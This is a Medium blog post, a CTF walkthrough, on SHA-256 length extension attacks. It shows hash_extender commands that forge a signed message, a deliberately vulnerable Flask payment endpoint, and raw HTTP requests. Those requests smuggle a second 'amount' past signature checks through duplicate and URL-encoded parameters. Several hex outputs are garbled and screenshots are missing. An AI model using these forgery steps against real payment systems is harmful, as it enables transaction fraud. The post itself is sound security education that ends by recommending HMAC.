

Open in app ↗

Sign up

Sign in

Medium

 Search Write

Understanding Length Extension Attacks



Mark Roy

Follow

8 min read · Mar 30, 2025



1



Introduction

In many real-world penetration tests, black-box testing limits your ability to see what's happening under the hood. Without access to the source code, it's difficult to fully understand an application's internal logic, security controls, and more complex vulnerabilities. Yet, some of the most critical and fascinating security flaws are hidden within the source code and remain harder to detect through black-box testing alone.

Today, I'll be discussing one such vulnerability — Length Extension attacks. To help illustrate this attack in a hands-on way, I've created a CTF challenge, which is available on my GitHub page if you'd like to follow along.

<https://github.com/mroyx/length-extension-ctf>

How Length Extension Attacks Work

Length Extension attacks target hash functions like MD5, SHA-1, and SHA-256 that follow the Merkle-Damgård construction. These functions leak internal state in their final output, allowing attackers to extend a hashed message and compute a valid hash for the modified input.

If the attacker can guess the length of the secret, they can forge messages that pass verification checks. This can lead to authentication bypasses, tampering, and other security flaws in systems that use insecure hash functions for integrity or signature checks.

Automating the Attack with Hash Extender

hash_extender is a command-line utility created by Ron Bowes to simplify the process of performing length extension attacks. Instead of manually reconstructing the internal state of a hash function or calculating padding by hand, this tool automates everything.

To use it, you provide the original hash, the known portion of the message, the length of the secret key, and the data you want to append. The tool then generates a new valid hash for the extended input.

You can find the tool available on GitHub:

https://github.com/iagox86/hash_extender

Forging a Message with a Valid Signature

To demonstrate, let's say Alice sends Bob the following message:

| *Hi, Bob. Please approve the transaction.*

To ensure authenticity, she signs it using SHA256 (secret + message), resulting in the following hash:

```
(kali㉿kali)-[~]
$ echo -n "supersecretHi Bob, please approve the transaction." | sha256sum
e937249db7fb3284f59891be82cc355edac7c6ddff3a6e0834db7ec3047efcdf -
```

Eve intercepts the message and hash. While she doesn't know the secret key, she does know its length, which is enough to exploit the hash function's structure. She appends:

And don't forget to send \$5,000 to Eve.

Eve's able to forge a new message and compute a valid hash that would pass verification — as if it had been signed by Alice herself.

```
[kali㉿kali]~[~]
$ hash_extender --data 'Hi Bob, please approve the transaction.' --append " And also don't forget to send 💵$5,000 to Eve."
--secret 11 --signature e937249db7fb3284f59891be82cc355edac7c6ddff3a6e0834db7ec3047efcdf --format sha256 --out-data-forma
t=hex
Type: sha256
Secret length: 11
New string: 6ec7962df021a9326ba189cde6057afef70b83467611b4e02c7c8d3f8a659cd4
New string: 486920426f622c20706c6561736520617070726f766520746865207472616e773616374696f6e2e800000000000000000000019020416
e6420616c736f720646f6e277420666f7267657420746f2073656e642024352c30303020746f20457765652e
```

The decoded message can be seen below.

[illegible]

Hi Bob, please approve the transaction.   And also don't forget to send \$5,000 to Eve.

It's important to note that the replacement characters appear because the padding bytes (such as `\x80`) used during the hashing process are not valid UTF-8 characters. When the final message is decoded, these bytes can't be interpreted properly and are replaced with the Unicode replacement character (�). These padding bytes aren't part of the original or appended messages — they're required by the hash function to align the input to block boundaries and make the length extension attack possible.

To confirm the attack worked, we can prepend the secret and recompute the hash. The resulting hash matches the forged one generated by `hash_extender`, proving that the new message passes verification successfully. The screenshot below demonstrates this.

```
(kali@kali)-[~]
$ echo -n 'supersecret' | xxd -p
7375706572736563726574
```

```
(kali@kali)-[~]
$ echo -n "7375706572736563726574486920426f622c20706c6561736520617070726f766520746865207472616e736163746966f6e2e800000000
0000000000000019020416e6420616c736f206466e277420666f7267657420746f2073656e642024352c30303020746f204576652e" | xxd -r -p |
sha256sum
6ec7962df021a9326ba189cde6057afef70b83467611b4e02c7c8d3f8a659cd4 -
```

Breaking a Signed Payment Flow (CTF Demo)

To demonstrate a more practical example, consider the following code:

```
@app.route('/process_payment', methods=['POST'])
def process_payment():
    transaction_id = request.form.get("transaction_id")
    amount = request.form.get("amount")
    received_sign = request.form.get("sign")

    request_body = f"transaction_id={transaction_id}&amount={amount}"
    expected_sign = generate_hash(request_body)
```

```

if received_sign != expected_sign:
    return jsonify(success=False, error="Invalid signature – possible tamper

def generate_hash(request_body):
    hash_input = (SECRET_KEY + request_body).encode()
    return hashlib.sha256(hash_input).hexdigest()

```

The transaction is signed using a secret key that is unknown to the attacker. The transaction is then verified to prevent tampering. Therefore, if an attacker tries to modify any of the request parameters, the signature becomes invalid, causing the request to fail, as shown in the screenshots below.

The first screenshot shows a successful payment verification. The request is a POST to /process_payment with various headers and a body containing transaction details. The response is an HTTP/1.1 200 OK with a JSON body indicating that the payment was verified successfully.

```

POST /process_payment HTTP/1.1
Host: splinter:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Origin: http://splinter:5000
Connection: keep-alive
Referer: http://splinter:5000/checkout
Cookie: session=eyJjYXJ0IjpbeYpZCI6IjEiLCJyYW1lIjoIYV90YWxseSBTZWN1cmUgKyBNZWliZXJzaGlwIiwicHJpY2U
iOjEiLCJk5fV0sInVzZXIiOiJ0ZXN0In0uZiY9g.x9Sc8V0i8vV78-xioZfX66YiZU
Upgrade-Insecure-Requests: 1
Priority: u=0, i

transaction_id=85b540ecdf0775919d990f2f83d809ad&amount=15.99&sign=
2fd00cec6671ea5c3a9013abd7ff8602330982d010e9df508ac61650592a313d

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.3 Python/3.13.2
3 Date: Sun, 30 Mar 2025 01:06:15 GMT
4 Content-Type: application/json
5 Content-Length: 112
6 Vary: Cookie
7 Set-Cookie: session=eyJlc2VyIjoIdGVzdCJ9.Z-iZBw.JgjB0prG7eP_PWe-2GTqYDmZzs4;
8 HttpOnly: Path=/
9 Connection: close
10 {
11   "message":
12     "Payment Verified: Transaction 85b540ecdf0775919d990f2f83d809ad for $15.99",
13   "success":true
14 }

```

The second screenshot shows a failed payment verification attempt. The request is identical to the first, but the amount parameter has been changed to 0.00. The response is an HTTP/1.1 403 FORBIDDEN with a JSON body indicating that an invalid signature was detected due to tampering.

```

POST /process_payment HTTP/1.1
Host: splinter:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Origin: http://splinter:5000
Connection: keep-alive
Referer: http://splinter:5000/checkout
Cookie: session=eyJjYXJ0IjpbeYpZCI6IjEiLCJyYW1lIjoIYV90YWxseSBTZWN1cmUgKyBNZWliZXJzaGlwIiwicHJpY2U
iOjEiLCJk5fV0sInVzZXIiOiJ0ZXN0In0uZiY9g.x9Sc8V0i8vV78-xioZfX66YiZU
Upgrade-Insecure-Requests: 1
Priority: u=0, i

transaction_id=85b540ecdf0775919d990f2f83d809ad&amount=0.00&sign=
2fd00cec6671ea5c3a9013abd7ff8602330982d010e9df508ac61650592a313d

1 HTTP/1.1 403 FORBIDDEN
2 Server: Werkzeug/3.1.3 Python/3.13.2
3 Date: Sun, 30 Mar 2025 01:07:03 GMT
4 Content-Type: application/json
5 Content-Length: 86
6 Connection: close
7 {
8   "error": "Invalid signature - possible tampering detected!",
9   "success":false
10 }
11 }
12 }

```

This verification seems like it should be secure since any modification to the request would result in a signature mismatch, preventing unauthorized changes. However, the vulnerability lies in how the signature is generated —

using a hash function that is vulnerable to a length extension attack. This allows an attacker to forge a valid signature for a modified request, without knowing the secret key.

Exploiting Parameter Parsing Differences

To effectively exploit this attack, an attacker could manipulate the appended data so that it gets processed by the server. For instance, they could send a duplicate request parameter along with a newly generated signature. If the server processes the attacker's parameter for execution while still using the original parameter for signature validation, the attack succeeds.

Get Mark Roy's stories in your inbox

Join Medium for free to get updates from this writer.

Enter your email

Subscribe

However, different programming languages and libraries handle duplicate request parameters inconsistently — some return the first occurrence, while others return the last. For example, the code samples and output below demonstrate how Django and Flask interpret duplicate parameters differently — one returns the first occurrence, the other the last.

```
from django.http import JsonResponse

def show_parameters(request):
    param = request.GET.get('parameter')
    return JsonResponse({
        "parameter": param,
    })
```

```
(kali㉿kali)-[~]
$ curl "http://127.0.0.1:8000/test/?parameter=value1&parameter=value2"
{"parameter": "value2"}
```

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/test')
def show_parameters():
    param = request.args.get('parameter')
    return jsonify({
        "parameter": param
    })

if __name__ == '__main__':
    app.run(port=5000, debug=True)
```

```
(kali㉿kali)-[~]
$ curl "http://127.0.0.1:5000/test?parameter=value1&parameter=value2"
{"parameter": "value1"}
```

Since the original data is used to create the signature, this data must also be included in the modified request. In other words, the application must process both parameters but use the duplicate value for execution while keeping the original value for signature validation.

The Padding Problem: When \x80 Breaks Things

Another challenge when executing this attack is handling the padding byte. Many hash functions use it as part of their padding scheme, but `\x80` is not a valid UTF-8 character. When included in a request, it often gets decoded as a replacement character (`◆`), which alters the message and breaks the hash

comparison. As a result, the server fails to reproduce the original hash, causing the attack to fail even if the vulnerability is present.

To better help demonstrate this issue, a payload was generated using `hash_extender` based on the previous request details above.

[illegible]

The payload was then sent to the server.

[illegible]

The Flask server log revealed that the padding byte did not decode correctly, resulting in a mismatched hash and ultimately causing the attack to fail.

[illegible]

As an alternative, we can try sending our payload as raw bytes. Hashing algorithms process both raw bytes and string representations the same way, and we can verify this with the following example:

```
(kali㉿kali)-[~]
$ echo -n "supersecret" | sha256sum
f75778f7425be4db0369d09af37a6c2b9a83dea0e53e7bd57412e4b060e607f7 -

(kali㉿kali)-[~]
$ echo -n "\x73\x75\x70\x65\x72\x73\x65\x63\x72\x65\x74" | sha256sum
f75778f7425be4db0369d09af37a6c2b9a83dea0e53e7bd57412e4b060e607f7 -
```

However, the attack again fails. As shown in the screenshot below, Flask automatically escapes forward slashes, altering the input and resulting in an incorrect hash calculation. This prevents the attack from succeeding.

```
POST /process_payment HTTP/1.1
Host: splinter:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 312
Origin: http://splinter:5000
Connection: keep-alive
Referer: http://splinter:5000/checkout
Cookie: session=
eyJYXJ0IjpbeyJpZCI6IjEiLCJuYW1lIjoiaVVG90YWxseSBTZWNIcmUgKyBNZW1lZXJzaGlwIiwicHJpY2UiOiJELlJkSfV0sInVZXiOiJjbGVtc29uIn0,Z-iVvA.MK4PZNdfQcUqPxrhAo7mqFPei4
Upgrade-Insecure-Requests: 1
Priority: u=0, i

transaction_id=04e3dbb25863cc4bb72b17bccd306809&amount=
15.95&x8B...00%00%028&amount=0.00&sign=
2ae6698bfafac2cd66dd03fc4232057b5f2b173cef833558555dfcf9708d418fdd8b
```

[illegible]

While these encoding issues introduce additional challenges to the attack, it's important to note that some character encodings do interpret `\x80`, and

not all web servers escape forward slashes by default. Therefore, under certain circumstances, attackers may still be able to exploit this vulnerability despite the added complexity. Therefore, to fully demonstrate the vulnerability, I've modified the source code in the CTF challenge I created to automatically URL-decode %80.

Putting It All Together: Why the Attack Fails (and How It Succeeds)

After updating the source code, the same payload was sent — but the attack still failed.

[illegible]

```
1 HTTP/1.1 403 FORBIDDEN
2 Server: Werkzeug/3.1.3 Python/3.13.2
3 Date: Sun, 30 Mar 2025 01:16:28 GMT
4 Content-Type: application/json
5 Content-Length: 86
6 Connection: close
7
8 {
9     "error": "Invalid signature - possible tampering detected!",
10    "success": false
11 }
12
```

The server log shows that Flask is now correctly decoding the padding byte, so we need to take a closer look at why the attack is not working.

[illegible]

To fully grasp why this vulnerability works — and why it can fail — it's important to fully understand how the signature is generated and how input

is processed on the backend. Without access to the source code, this can be challenging.

In our case, the transactionid and cost parameters are concatenated with a secret key and then hashed. The server verifies the request by comparing the hash, which helps detect tampering.

The attack fails initially because we're sending two cost parameters, and Flask (by default) uses only the first occurrence. This mismatch leads to an incorrect hash calculation.

To bypass this, we can URL-encode the & character that separates transactionid and the first cost parameter. This tricks the backend into interpreting the entire string as part of a single transactionid value — preserving the original cost used in the hash calculation.

When the request body is decoded on the server, %26 is interpreted as &. This doesn't affect the original signature, but it prevents the server from recognizing it as a separate, duplicate parameter. As a result, the original cost value used in the hash remains intact, while the attacker's value is processed during execution. This allows the hash to remain valid, and the attack succeeds — as shown below:

[illegible][illegible]

Takeaways and Final Thoughts

Length extension attacks highlight how subtle cryptographic design choices can introduce powerful vulnerabilities. While the concept behind the attack is relatively simple, successfully pulling it off in practice requires a deep understanding of how an application processes input, handles encoding, and generates hashes.

Unlike common web vulnerabilities, length extension attacks depend on narrow and well-defined conditions, which is why they're often missed in typical black-box testing. But by dissecting each layer of the exploit and recreating the exact environment it needs, we gain a clearer understanding of cryptographic internals — and a stronger appreciation for using secure primitives like HMAC in modern applications.

If you have any thoughts, questions, or suggestions for improvement, I'd be happy to hear them. Thank you for reading!

[Penetration Testing](#)[Bug Bounty](#)[Ctf](#)[Ctf Writeup](#)[Ctf Walkthrough](#)

Written by Mark Roy

25 followers · 1 following

Follow

No responses yet





Write a response

What are your thoughts?

More from Mark Roy

 Mark Roy

From Self-XSS to Account Takeover

Introduction

Jul 30, 2025  58



 Mark Roy

Red Hat SSO 7.6 Host Header Injection Vulnerability

Disclaimer

Oct 25, 2024  5  1





Phishing Internal Users via Microsoft 365 Direct Send

This writeup demonstrates how Microsoft 365's built-in mail infrastructure can be...

Jun 11, 2025



See all from Mark Roy

Recommended from Medium

 In Women in Technology by Alina Kovtun ✨

Stop Memorizing Design Patterns: Use This Decision Tree Instead

Choose design patterns based on pain points: apply the right pattern with minimal over-...

✨ Jan 29 🖱 4.2K 💬 32



 Joe Njenga

I Tried New Claude Code Ollama Workflow (It's Wild & Free)

Claude Code now works with Ollama, which takes the game to the next level for...

✨ Jan 19 🖱 1.6K 💬 23



 Agent Native

Local LLMs That Can Replace Claude Code

Small team of engineers can easily burn >\$2K/mo on Anthropic's Claude Code...

✨ Jan 20 🖱 1.3K 💬 39



 Abdellaoui Ahmed

How I Turned My Bug Bounty Workflow Into an AI-Powered...

💡 What if you could make your AI do your bug bounty work while you sleep?

✨ Oct 26, 2025 🖱 3



 In Level Up Coding by Teja Kusireddy

I Stopped Using ChatGPT for 30 Days. What Happened to My Brai...

91% of you will abandon 2026 resolutions by January 10th. Here's how to be in the 9% who...

★ Dec 28, 2025 🖱 7.1K 💬 278



 In Generative AI by Adham Khaled

Stanford Just Killed Prompt Engineering With 8 Words (And I...

ChatGPT keeps giving you the same boring response? This new technique unlocks 2×...

★ Oct 20, 2025 🖱 24K 💬 634



See more recommendations